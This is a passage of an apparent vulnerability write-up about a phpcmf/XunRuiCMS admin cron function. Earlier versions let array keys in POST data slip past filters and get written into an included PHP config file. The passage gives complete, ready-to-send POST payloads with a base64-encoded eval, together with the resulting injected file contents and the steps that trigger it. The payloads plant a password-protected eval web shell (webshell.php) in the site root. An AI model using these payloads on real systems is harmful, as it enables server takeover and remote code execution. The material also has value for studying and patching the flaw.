<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[&#39;;file_put_contents(&#39;webshell.php&#39;,htmlspecialchars_decode(&#39;&amp;lt;&#39;).&#39;?php eval&#39;.base64_decode(&#39;KA==&#39;).&#39;@$_POST[&#39;.base64_decode(&#39;Ig==&#39;).&#39;password&#39;.base64_decode(&#39;Ig==&#39;).&#39;]&#39;.base64_decode(&#39;KQ==&#39;).&#39;;?&#39;.htmlspecialchars_decode(&#39;&gt;&#39;));return;&#39;]
</span></span></code></pre></td></tr></table>
</div>
</div><p>The package of <code>'</code> in document <code>WRITEPATH.'config/cron.php'</code> is closed</p>
<h4 id="include-the-writepathconfigcronphp-file-written-to">include the <code>WRITEPATH.'config/cron.php'</code> file written to
</h4><p>Through the analysis of add() function, when you call the add() function, you will first include the <code>WRITEPATH.'config/cron.php'</code> file when it exists, therefore, you can access <code>http://host:port/Admin.php?c=Cron&amp;m=add</code> directly</p>
<p>After accessing <code>http://host:port/Admin.php?c=Cron&amp;m=add</code>, <code>http://host:port/Admin.php?c=Cron&amp;m=add</code> file named webshell.php will be generated in the root directory of the website, and the content of the file is <code>&lt;?php eval(@$_POST[&quot;password&quot;]);?&gt;</code></p>
<h3 id="version-v451">version v4.5.1
</h3><p>code of add() function:</p>
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<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="c1">// 任务类型
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">public</span> <span class="k">function</span> <span class="nf">add</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nv">$json</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="nx">is_file</span><span class="p">(</span><span class="nx">WRITEPATH</span><span class="o">.</span><span class="s1">&#39;config/cron.php&#39;</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="k">require</span> <span class="nx">WRITEPATH</span><span class="o">.</span><span class="s1">&#39;config/cron.php&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$data</span> <span class="o">=</span> <span class="nx">json_decode</span><span class="p">(</span><span class="nv">$json</span><span class="p">,</span> <span class="k">true</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="nx">IS_AJAX_POST</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nv">$post</span> <span class="o">=</span> <span class="nx">\Phpcmf\Service</span><span class="o">::</span><span class="na">L</span><span class="p">(</span><span class="s1">&#39;input&#39;</span><span class="p">)</span><span class="o">-&gt;</span><span class="na">post</span><span class="p">(</span><span class="s1">&#39;data&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="nv">$post</span> <span class="o">&amp;&amp;</span> <span class="nx">is_array</span><span class="p">(</span><span class="nv">$post</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="k">foreach</span> <span class="p">(</span><span class="nv">$post</span> <span class="k">as</span> <span class="nv">$key</span> <span class="o">=&gt;</span> <span class="nv">$t</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$t</span> <span class="o">||</span> <span class="o">!</span><span class="nv">$t</span><span class="p">[</span><span class="s1">&#39;name&#39;</span><span class="p">])</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nx">unset</span><span class="p">(</span><span class="nv">$post</span><span class="p">[</span><span class="nv">$key</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$post</span><span class="p">[</span><span class="nv">$key</span><span class="p">][</span><span class="s1">&#39;name&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dr_safe_filename</span><span class="p">(</span><span class="nv">$t</span><span class="p">[</span><span class="s1">&#39;name&#39;</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$post</span><span class="p">[</span><span class="nv">$key</span><span class="p">][</span><span class="s1">&#39;code&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dr_safe_filename</span><span class="p">(</span><span class="nv">$t</span><span class="p">[</span><span class="s1">&#39;code&#39;</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$post</span> <span class="o">=</span> <span class="p">[];</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nx">file_put_contents</span><span class="p">(</span><span class="nx">WRITEPATH</span><span class="o">.</span><span class="s1">&#39;config/cron.php&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="s1">&#39;&lt;?php defined(\&#39;FCPATH\&#39;) OR exit(\&#39;No direct script access allowed\&#39;);&#39;</span><span class="o">.</span><span class="nx">PHP_EOL</span><span class="o">.</span><span class="s1">&#39; $json=\&#39;&#39;</span><span class="o">.</span><span class="nx">json_encode</span><span class="p">(</span><span class="nv">$post</span><span class="p">)</span><span class="o">.</span><span class="s1">&#39;\&#39;;&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nx">\Phpcmf\Service</span><span class="o">::</span><span class="na">L</span><span class="p">(</span><span class="s1">&#39;input&#39;</span><span class="p">)</span><span class="o">-&gt;</span><span class="na">system_log</span><span class="p">(</span><span class="s1">&#39;设置自定义任务类型&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_json</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="nx">dr_lang</span><span class="p">(</span><span class="s1">&#39;操作成功&#39;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nx">\Phpcmf\Service</span><span class="o">::</span><span class="na">V</span><span class="p">()</span><span class="o">-&gt;</span><span class="na">assign</span><span class="p">([</span>
</span></span><span class="line"><span class="cl"> <span class="s1">&#39;data&#39;</span> <span class="o">=&gt;</span> <span class="nv">$data</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="p">]);</span>
</span></span><span class="line"><span class="cl"> <span class="nx">\Phpcmf\Service</span><span class="o">::</span><span class="na">V</span><span class="p">()</span><span class="o">-&gt;</span><span class="na">display</span><span class="p">(</span><span class="s1">&#39;cron_add.html&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>Compared with previous versions, version v4.5.1 modified the following code when obtaining the content of post:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="nv">$post</span> <span class="o">=</span> <span class="nx">\Phpcmf\Service</span><span class="o">::</span><span class="na">L</span><span class="p">(</span><span class="s1">&#39;input&#39;</span><span class="p">)</span><span class="o">-&gt;</span><span class="na">post</span><span class="p">(</span><span class="s1">&#39;data&#39;</span><span class="p">,</span><span class="k">true</span><span class="p">);</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>change to</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="nv">$post</span> <span class="o">=</span> <span class="nx">\Phpcmf\Service</span><span class="o">::</span><span class="na">L</span><span class="p">(</span><span class="s1">&#39;input&#39;</span><span class="p">)</span><span class="o">-&gt;</span><span class="na">post</span><span class="p">(</span><span class="s1">&#39;data&#39;</span><span class="p">);</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>The second parameter of the post() function is whether to &ldquo;XSS clean&rdquo;. Since the default value of the second parameter of the post() function is <code>true</code>, this change will not have any impact in theory</p>
<p>At the same time, after obtaining the content of post and before writing <code>WRITEPATH.'config/cron.php'</code> file, the following code is added:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
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</span><span class="lnt">11
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nv">$post</span> <span class="o">&amp;&amp;</span> <span class="nx">is_array</span><span class="p">(</span><span class="nv">$post</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="k">foreach</span> <span class="p">(</span><span class="nv">$post</span> <span class="k">as</span> <span class="nv">$key</span> <span class="o">=&gt;</span> <span class="nv">$t</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$t</span> <span class="o">||</span> <span class="o">!</span><span class="nv">$t</span><span class="p">[</span><span class="s1">&#39;name&#39;</span><span class="p">])</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nx">unset</span><span class="p">(</span><span class="nv">$post</span><span class="p">[</span><span class="nv">$key</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$post</span><span class="p">[</span><span class="nv">$key</span><span class="p">][</span><span class="s1">&#39;name&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dr_safe_filename</span><span class="p">(</span><span class="nv">$t</span><span class="p">[</span><span class="s1">&#39;name&#39;</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$post</span><span class="p">[</span><span class="nv">$key</span><span class="p">][</span><span class="s1">&#39;code&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dr_safe_filename</span><span class="p">(</span><span class="nv">$t</span><span class="p">[</span><span class="s1">&#39;code&#39;</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$post</span> <span class="o">=</span> <span class="p">[];</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>The above code first determines whether the content of post exists and is an array. If it does not meet the requirements, it will set the content of post as an empty array. If it meets the requirements, it will traverse the content of post. If the value of a key value pair does not exist or the value of <code>'name'</code> key of value of a key value pair does not exist, it will destroy the key value pair, and then clean the <code>'name'</code> key and <code>'code'</code> key of value of each key value pair through the dr_safe_filename() function, the following is the code of the dr_safe_filename() function:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
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</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="sd">/**
</span></span></span><span class="line"><span class="cl"><span class="sd"> * 安全过滤文件及目录名称函数
</span></span></span><span class="line"><span class="cl"><span class="sd"> */</span>
</span></span><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">dr_safe_filename</span><span class="p">(</span><span class="nv">$string</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="nx">str_replace</span><span class="p">(</span>
</span></span><span class="line"><span class="cl"> <span class="p">[</span><span class="s1">&#39;..&#39;</span><span class="p">,</span> <span class="s2">&#34;/&#34;</span><span class="p">,</span> <span class="s1">&#39;\\&#39;</span><span class="p">,</span> <span class="s1">&#39; &#39;</span><span class="p">,</span> <span class="s1">&#39;&lt;&#39;</span><span class="p">,</span> <span class="s1">&#39;&gt;&#39;</span><span class="p">,</span> <span class="s2">&#34;{&#34;</span><span class="p">,</span> <span class="s1">&#39;}&#39;</span><span class="p">,</span> <span class="s1">&#39;;&#39;</span><span class="p">,</span> <span class="s1">&#39;:&#39;</span><span class="p">,</span> <span class="s1">&#39;[&#39;</span><span class="p">,</span> <span class="s1">&#39;]&#39;</span><span class="p">,</span> <span class="s1">&#39;\&#39;&#39;</span><span class="p">,</span> <span class="s1">&#39;&#34;&#39;</span><span class="p">,</span> <span class="s1">&#39;*&#39;</span><span class="p">,</span> <span class="s1">&#39;?&#39;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl"> <span class="s1">&#39;&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="p">(</span><span class="nx">string</span><span class="p">)</span><span class="nv">$string</span>
</span></span><span class="line"><span class="cl"> <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><h4 id="bypass-the-json-encoding-xss-cleaning-dr_safe_filename-function-filtering-and-packages-in-writepathconfigcronphp-file">bypass the JSON encoding, &ldquo;XSS cleaning&rdquo;, dr_safe_filename() function filtering and packages in <code>WRITEPATH.'config/cron.php'</code> file
</h4><p>Instead of trying to bypass the dr_safe_filename() function, let&rsquo;s try another extremely simple method</p>
<p>Through the audit of the &ldquo;XSS cleaning&rdquo; function and the newly added code of the v5add() function, we can find that there is no filter for the key of the array, including the key of each dimension of the multidimensional array. Therefore, we can modify the key in the content of post to write any content we want</p>
<p>The following is my method. In the whole process of vulnerability exploitation, except for the above-mentioned filtering of value of key value pairs added in the add() function, other processes have no change compared with the previous version:</p>
<p>After obtaining csrf_test_name, give <code>http://host:port/Admin.php?c=Cron&amp;m=add</code> post the following contents:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">isform=1&amp;csrf_test_name=9f3342fbce7b49c85f05776bf89db778&amp;data%5B1%5D%5Bname%5D=1&amp;data%5B1%5D%5Bcode&#34;:&#34;1&#34;}}&#39;;eval(base64_decode(&#39;ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47&#39;));return;&#39;%5D=1
</span></span></code></pre></td></tr></table>
</div>
</div><p>After url decoding, it is:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">isform=1&amp;csrf_test_name=9f3342fbce7b49c85f05776bf89db778&amp;data[1][name]=1&amp;data[1][code&#34;:&#34;1&#34;}}&#39;;eval(base64_decode(&#39;ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47&#39;));return;&#39;]=1
</span></span></code></pre></td></tr></table>
</div>
</div><p>After bypassing the filtering of JSON encoding, &ldquo;XSS cleaning&rdquo; and dr_safe_filename() function, the contents written in <code>WRITEPATH.'config/cron.php'</code> file are:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span> <span class="nx">defined</span><span class="p">(</span><span class="s1">&#39;FCPATH&#39;</span><span class="p">)</span> <span class="k">OR</span> <span class="k">exit</span><span class="p">(</span><span class="s1">&#39;No direct script access allowed&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$json</span><span class="o">=</span><span class="s1">&#39;{&#34;1&#34;:{&#34;name&#34;:&#34;1&#34;,&#34;code\&#34;:\&#34;1\&#34;}}&#39;</span><span class="p">;</span><span class="k">eval</span><span class="p">(</span><span class="nx">base64_decode</span><span class="p">(</span><span class="s1">&#39;ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw\/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47&#39;</span><span class="p">));</span><span class="k">return</span><span class="p">;</span><span class="s1">&#39;&#34;:&#34;1&#34;,&#34;code&#34;:&#34;&#34;}}&#39;</span><span class="p">;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>The key points in this post content are</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">&#34;:&#34;1&#34;}}&#39;;eval(base64_decode(&#39;ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47&#39;));return;&#39;
</span></span></code></pre></td></tr></table>
</div>
</div><p>After bypassing the filtering of JSON encoding, &ldquo;XSS cleaning&rdquo; and dr_safe_filename() function, the content here becomes:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">\&#34;:\&#34;1\&#34;}}&#39;;eval(base64_decode(&#39;ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw\/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47&#39;));return;&#39;
</span></span></code></pre></td></tr></table>
</div>
</div><p>The package of <code>'</code> in document <code>WRITEPATH.'config/cron.php'</code> is closed</p>
<h4 id="include-the-writepathconfigcronphp-file-written-to-1">include the <code>WRITEPATH.'config/cron.php'</code> file written to
</h4><p>Through the analysis of the add() function in front, when calling the add() function, the <code>WRITEPATH.'config/cron.php'</code> file will be included when the <code>WRITEPATH.'config/cron.php'</code> file exists, so you can directly access <code>http://host:port/Admin.php?c=Cron&amp;m=add</code></p>
<p>After accessing <code>http://host:port/Admin.php?c=Cron&amp;m=add</code>, <code>http://host:port/Admin.php?c=Cron&amp;m=add</code> file named webshell.php will be generated in the root directory of the website, and the content of the file is <code>&lt;?php eval(@$_POST[&quot;password&quot;]);?&gt;</code></p>
<h3 id="after-version-v451">after version v4.5.1
</h3><p>The add() function is deleted</p>
<h2 id="poc--exp">POC &amp;&amp; EXP
</h2><p>It&rsquo;s very simple. I won&rsquo;t write it, but note that there may be holes in the CMS of the target site. For example, the version number is low but the actual site file has been updated</p>
<h3 id="poc">POC
</h3><p>Log in to the background, get the version number, and then verify whether it is an administrator or has the management permission of &ldquo;应用&rdquo;-&gt;&ldquo;任务队列&rdquo;</p>
<h3 id="exp">EXP
</h3><p>Log in to the background, then post write malicious code, and finally get access to malicious files</p>
<h2 id="xss_clean-function">xss_clean() function
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